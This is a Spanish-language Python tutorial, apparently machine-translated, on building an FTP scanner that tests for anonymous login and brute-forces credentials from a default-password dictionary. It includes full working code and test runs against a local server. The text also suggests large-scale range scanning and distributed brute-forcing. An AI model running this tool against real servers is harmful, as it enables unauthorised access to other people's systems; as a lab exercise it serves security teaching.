Escáner de contraseñas débiles de FTP con Python

PythonPythonBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

Este proyecto comienza con la implementación de un escáner de contraseñas débiles de FTP utilizando Python, lo que proporciona una introducción a las técnicas de pruebas de penetración con Python. El experimento implica comprender los principios de los servidores FTP, utilizar la biblioteca ftplib y otros conocimientos relacionados.

  1. Comprender los servidores FTP: Aprender sobre los servidores FTP, su propósito y cómo funcionan.
  2. Utilizar la biblioteca FTPlib: Utilizar la biblioteca ftplib en Python para implementar un escáner anónimo de FTP y un cracker de contraseñas por fuerza bruta.
  3. Utilizar la biblioteca argparse: Aprender cómo manejar los argumentos de línea de comandos utilizando la biblioteca argparse en Python.
  4. Configurar un servidor FTP en Ubuntu: Seguir las instrucciones para configurar un servidor FTP localmente con fines de prueba.

Este proyecto es de dificultad moderada y es adecuado para usuarios con un conocimiento básico de Python. Es una buena oportunidad para mejorar y consolidar sus conocimientos de los fundamentos de Python y adquirir experiencia práctica en técnicas de pruebas de penetración con Python.

👀 Vista previa

python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] Fallo en la autenticación anónima de FTP en 127.0.0.1!
[+] Probando: ftp:ftp
[+] Probando: root:root
[+] Probando: root:toor
[+] Probando: admin:admin
[+] Probando: geust:geust
[+] Probando: admin:123456

[+] Éxito en la autenticación FTP en 127.0.0.1: admin:123456

[+] Host: 127.0.0.1 Usuario: admin Contraseña: 123456

[*]-------------------Fin de la búsqueda!--------------------[*]

🎯 Tareas

En este proyecto, aprenderá:

  • Cómo comprender los principios de funcionamiento de los servidores FTP
  • Cómo utilizar la biblioteca ftplib en Python para implementar un escáner anónimo de FTP
  • Cómo implementar un cracker de contraseñas por fuerza bruta para servidores FTP utilizando un diccionario de contraseñas
  • Cómo manejar los argumentos de línea de comandos utilizando la biblioteca argparse
  • Cómo configurar un servidor FTP en Ubuntu con fines de prueba

🏆 Logros

Después de completar este proyecto, podrá:

  • Interactuar con servidores FTP utilizando Python
  • Implementar la búsqueda de autenticaciones anónimas y contraseñas débiles
  • Manejar los argumentos de línea de comandos en Python
  • Configurar un servidor FTP en Ubuntu

Servidor FTP

Un servidor FTP (File Transfer Protocol Server) es un computador que ofrece servicios de almacenamiento y acceso a archivos en Internet, siguiendo el protocolo FTP. FTP significa File Transfer Protocol, que es un protocolo diseñado específicamente para la transferencia de archivos. En términos simples, un servidor que soporta el protocolo FTP es un servidor FTP.

FTP es un servicio basado exclusivamente en TCP y no soporta UDP. Lo que lo distingue es que utiliza dos puertos, un puerto de datos y un puerto de comandos (también conocido como puerto de control). Por lo general, estos dos puertos son 21 (puerto de comandos) y 20 (puerto de datos). Sin embargo, el puerto de datos no siempre es 20, dependiendo del modo de funcionamiento de FTP. Esta es la principal diferencia entre FTP activo y pasivo. Hay principalmente dos modos de funcionamiento:

  • FTP Activo

El puerto de control del servidor FTP es 21 y el puerto de datos es 20. Por lo tanto, al configurar el mapeo estático, solo es necesario abrir el puerto 21. El servidor iniciará una conexión con el cliente utilizando el puerto 20.

  • FTP Pasivo

El puerto de control del servidor es 21 y el puerto de datos se asigna aleatoriamente. El cliente inicia la conexión al puerto de datos correspondiente, por lo que no es suficiente solo abrir el puerto 21 para el mapeo estático. En este caso, se requiere una DMZ (Demilitarized Zone).

En este proyecto, el desarrollo de un escáner de FTP se centra en los siguientes dos aspectos:

  1. Escaneo de FTP anónimo

El escaneo de autenticaciones anónimas de FTP se utiliza principalmente en el escaneo en lote. La tasa de éxito al escanear un solo servidor FTP es relativamente baja, pero aún es posible tener éxito. Algunos pueden preguntarse, ¿siguen existiendo personas que no configuran contraseñas? Muchos sitios web todavía ofrecen servicios FTP para que los usuarios descarguen recursos, por lo que no es sorprendente que se permitan las autenticaciones anónimas. Lo que es aún más sorprendente es que los administradores de sitios web abren las autenticaciones anónimas de FTP para la comodidad de actualizar el software de acceso al sitio web. Esto nos brinda muchas oportunidades, especialmente cuando atacamos este tipo de servidores, que son vulnerables a los ataques. En el futuro, explicaré cómo obtener un shell después de encontrar páginas web en directorios FTP.

  1. Escaneo de contraseñas débiles de FTP

El escaneo de contraseñas débiles de FTP es esencialmente un ataque por fuerza bruta. ¿Por qué no lo llamamos ataque por fuerza bruta? Porque solo estamos escanear algunas combinaciones de contraseñas simples, no todas las combinaciones posibles. Además, no tenemos tanto tiempo para hacer un ataque por fuerza bruta, considerando que no vamos a vivir por miles de años! Es solo una contraseña. Si no podemos encontrar contraseñas débiles, podemos seguir adelante. ¿Por qué seguir obsesionado con una sola flor cuando hay innumerables otras en el mundo? Sin embargo, si realmente te gusta este servidor FTP, te enseñaré otros métodos de penetración de servidores en el futuro!

Implementación del escáner de FTP anónimo

En este caso, usaremos la clase FTP de la biblioteca ftplib en Python. La clase FTP implementa la mayoría de las funcionalidades de un cliente FTP, como conectarse a un servidor FTP, ver archivos en el servidor, subir y descargar archivos, etc. A continuación, definiremos la función anonScan(hostname) para implementar el escaneo de servidores FTP que permiten el inicio de sesión anónimo. El código es el siguiente:

## Escáner de inicio de sesión anónimo
def anonScan(hostname):                 ## El parámetro es el nombre de host
    try:
        with FTP(hostname) as ftp:      ## Crea un objeto FTP
            ftp.login()                 ## Inicio de sesión anónimo en FTP
            print('\n[*] ' + str(hostname) + " Inicio de sesión anónimo en FTP exitoso!") ## Si no se produce ninguna excepción, significa que el inicio de sesión tuvo éxito
            return True
    except Exception as e:              ## Si se produce una excepción, significa que el inicio de sesión anónimo falló
        print('\n[-] ' + str(hostname) + " Fallo en el inicio de sesión anónimo en FTP!")
        return False

El código es conciso y los comentarios explican el significado del código. Esta es la idea general de esta función: primero, construimos un objeto FTP (llamado ftp) usando el nombre de host. Luego, llamamos a la función login() sin ningún parámetro en este objeto ftp para iniciar un inicio de sesión anónimo en el servidor FTP. Si no se producen excepciones durante el proceso de inicio de sesión, significa que el inicio de sesión anónimo es exitoso; de lo contrario, significa que el inicio de sesión anónimo falló.

Escaneo de contraseñas débiles de FTP

El escaneo de contraseñas débiles en FTP se basa en un diccionario de nombres de usuario y contraseñas. En nuestro entorno experimental, se proporcionará ~/project/pwd.txt como el diccionario de contraseñas.

ftp:ftp
root:root
root:toor
admin:admin
geust:geust
admin:123456
charlie:brown
mickey:mouse
daffy:duck
1012NW:bezoek
bugs:bunny
donald:duck
minnie:mouse
elmer:fudd
tweety:bird
alfonse:capone
al:capone
albert:einstein
open:saysme
open:sayzme
open:sezme

A continuación, crearemos un archivo de código ftpScanner.py en el directorio ~/project para implementar el escaneo de contraseñas débiles de FTP, con respecto al formato del diccionario. El código es el siguiente:

## Crackeo por fuerza bruta
def vlcLogin(hostname, pwdFile):                ## Parámetros (nombre de host, archivo de diccionario)
    try:
        with open(pwdFile, 'r') as pf:          ## Abrir el archivo de diccionario
            for line in pf.readlines():         ## Leer cada línea del archivo de diccionario
                time.sleep(1)                   ## Esperar 1 segundo
                userName = line.split(':')[0]   ## Extraer el nombre de usuario del contenido leído
                passWord = line.split(':')[1].strip('\r').strip('\n')  ## Extraer la contraseña del contenido leído
                print('[+] Probando: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:  ## Crear un objeto FTP con el nombre de host como parámetro
                        ftp.login(userName, passWord)   ## Iniciar sesión en el servidor FTP usando el nombre de usuario y contraseña extraídos
                        ## Si no se produce ninguna excepción, la autenticación es exitosa, imprimir el nombre de host, nombre de usuario y contraseña
                        print('\n[+] ' + str(hostname) + ' Inicio de sesión en FTP exitoso: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    ## Si se produce una excepción, significa que la autenticación no fue exitosa, continuamos probando otros nombres de usuario y contraseñas
                    pass
    except IOError as e:
        print('Error: el archivo de contraseñas no existe!')
    print('\n[-] No se puede crackear la contraseña de FTP, cambie el diccionario de contraseñas e intente de nuevo!')
    return (None,None)

Este fragmento de código recorre el diccionario para leer nombres de usuario y contraseñas, y intenta iniciar sesión. Si la autenticación es exitosa, significa que se han encontrado el nombre de usuario y la contraseña. La función define el nombre de host como una cadena que puede separarse por ",". Encontrar una contraseña no termina el programa, sino que continúa escaneando contraseñas débiles en otros hosts hasta que se hayan escanneado todos los hosts.

✨ Revisar Solución y Practicar

Análisis de argumentos de línea de comandos

Hasta ahora, nuestro escáner de FTP está casi completo. El código no es largo y es bastante simple. Ahora, lo que debemos hacer es hacer que nuestro script sea capaz de manejar las entradas de línea de comandos para controlar qué hosts escanear. Para manejar los argumentos de línea de comandos, usaremos la biblioteca argparse en Python. Esta biblioteca es un módulo integrado en Python y hace que el análisis de línea de comandos sea muy simple. Veamos el poder de argparse al ver el siguiente código:

## Creando un objeto ArgumentParser usando una descripción
parser = argparse.ArgumentParser(description='Escáner de FTP')
## Agregando el comando -H, donde dest se refiere al nombre de variable que usamos para recuperar el valor pasado después de -H, y help proporciona la información de ayuda para este comando
parser.add_argument('-H', dest='hostName', help='La lista de hosts con "," como separador')
parser.add_argument('-f', dest='pwdFile', help='Archivo de diccionario de contraseñas')
options = None
try:
    options = parser.parse_args()
except:
    print(parser.parse_args(['-h']))
    exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile

Al usar la biblioteca argparse para analizar los argumentos de línea de comandos, podemos generar automáticamente un documento de ayuda basado en la palabra clave de ayuda proporcionada al agregar argumentos. El resultado se ve así:

python3 ftpScanner.py -h

uso: ftpScanner.py [-h] [-H HOSTNAME] [-f PWDFILE]
Escáner de FTP
argumentos opcionales:
-h, --help mostrar este mensaje de ayuda y salir
-H HOSTNAME La lista de hosts con "," como separador
-f PWDFILE Archivo de diccionario de contraseñas

Cuando se tratan comandos complejos, el poder de argparse se vuelve aún más aparente. Dado que esta es una característica básica de Python, no entraré en demasiados detalles sobre las bibliotecas incluidas en Python.

✨ Revisar Solución y Practicar

Integración de todo el código

El código básico ya ha sido implementado y ahora solo necesitamos integrar el código anterior. El código es el siguiente:

from ftplib import *
import argparse
import time

## Escaneo de inicio de sesión anónimo
def anonScan(hostname):
    try:
        with FTP(hostname) as ftp:
            ftp.login()
            print('\n[*] ' + str(hostname) + " Inicio de sesión anónimo en FTP exitoso!")
            return True
    except Exception as e:
        print('\n[-] ' + str(hostname) + " Fallo en el inicio de sesión anónimo en FTP!")
        return False

## Ataque por fuerza bruta
def vlcLogin(hostname, pwdFile):
    try:
        with open(pwdFile, 'r') as pf:
            for line in pf.readlines():
                time.sleep(1)
                userName = line.split(':')[0]
                passWord = line.split(':')[1].strip('\r').strip('\n')
                print('[+] Probando: ' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:
                        ftp.login(userName, passWord)
                        print('\n[+] ' + str(hostname) + ' Inicio de sesión en FTP exitoso: '+ \
                              userName + ':' + passWord)
                        return (userName, passWord)
                except Exception as e:
                    pass
    except IOError as e:
        print('Error: el archivo de contraseñas no existe!')
    print('\n[-] No se puede crackear la contraseña de FTP, cambie el diccionario de contraseñas e intente de nuevo!')
    return (None,None)

def main():
    parser = argparse.ArgumentParser(description='Escáner de FTP')
    parser.add_argument('-H',dest='hostName',help='La lista de hosts con "," como separador')
    parser.add_argument('-f',dest='pwdFile',help='Archivo de diccionario de contraseñas')
    options = None
    try:
        options = parser.parse_args()

    except:
        print(parser.parse_args(['-h']))
        exit(0)

    hostNames = str(options.hostName).split(',')
    pwdFile = options.pwdFile
    if hostNames == ['None']:
        print(parser.parse_args(['-h']))
        exit(0)

    for hostName in hostNames:
        username = None
        password = None
        if anonScan(hostName) == True:
            print('Host: ' + hostName + ' Puede acceder anónimamente!')
        elif pwdFile!= None:
            (username,password) = vlcLogin(hostName,pwdFile)
            if password!= None:
                print('\n[+] Host: ' + hostName + ' Nombre de usuario: ' + username + \
                      ' Contraseña: ' + password)

    print('\n[*]-------------------Fin del escaneo!--------------------[*]')

if __name__ == '__main__':
    main()

Con esto, nuestro código está completo. Con algunos cambios, podemos hacer que este escáner sea aún más potente. Por ejemplo, los nombres de host se pueden especificar en un rango para realizar un escaneo a gran escala o el código se puede modificar para implementar ataques por fuerza bruta distribuidos en los nombres de usuario y contraseñas de FTP, aumentando la capacidad del diccionario y mejorando en gran medida la tasa de éxito.

✨ Revisar Solución y Practicar

Configuración del servidor FTP

A continuación, necesitamos configurar un servidor FTP local para probar nuestro escáner. Aquí, usaremos la biblioteca pyftpdlib en Python para configurar el servidor FTP. pyftpdlib es una biblioteca de Python para servidores FTP que se puede utilizar para construir rápidamente un servidor FTP. Instalar pyftpdlib es muy sencillo, solo use el comando pip. Escriba el siguiente comando en la terminal para instalar la biblioteca pyftpdlib:

sudo pip install pyftpdlib
sudo python3 -m pyftpdlib -p 21

Por defecto, se permite el inicio de sesión anónimo.

✨ Revisar Solución y Practicar

Prueba de escaneo

Ahora que nuestro entorno ha sido configurado, podemos proceder a probar nuestro escáner de contraseñas débiles de FTP.

cd ~/project
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[*] 127.0.0.1 Inicio de sesión anónimo en FTP exitoso!
Host: 127.0.0.1 Puede accederse anónimamente!

[*]-------------------Fin del escaneo!--------------------[*]

En esta prueba, nos centramos principalmente en el inicio de sesión anónimo. En cuanto al crackeo por fuerza bruta de contraseñas débiles, puedes encontrar tu propio diccionario de contraseñas y intentar crackear el servidor FTP.

Ahora, intentamos agregar una contraseña al servidor FTP y probarlo de nuevo. Primero, necesitamos detener el servidor FTP y reiniciarlo con una contraseña.

sudo python3 -m pyftpdlib -p 21 -u admin -P 123456
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 Fallo en el inicio de sesión anónimo en FTP!
[+] Probando: ftp:ftp
[+] Probando: root:root
[+] Probando: root:toor
[+] Probando: admin:admin
[+] Probando: geust:geust
[+] Probando: admin:123456

[+] 127.0.0.1 Inicio de sesión en FTP exitoso: admin:123456

[+] Host: 127.0.0.1 Nombre de usuario: admin Contraseña: 123456

[*]-------------------Fin del escaneo!--------------------[*]
✨ Revisar Solución y Practicar

Resumen

Este proyecto implementa un escáner de contraseñas débiles de FTP, utilizando los siguientes puntos clave:

  1. Conceptos básicos de servidores FTP
  2. Implementación paso a paso de un escáner de contraseñas débiles de FTP utilizando FTPlib
  3. Análisis de argumentos de línea de comandos utilizando argparse
  4. Métodos para configurar un entorno de prueba.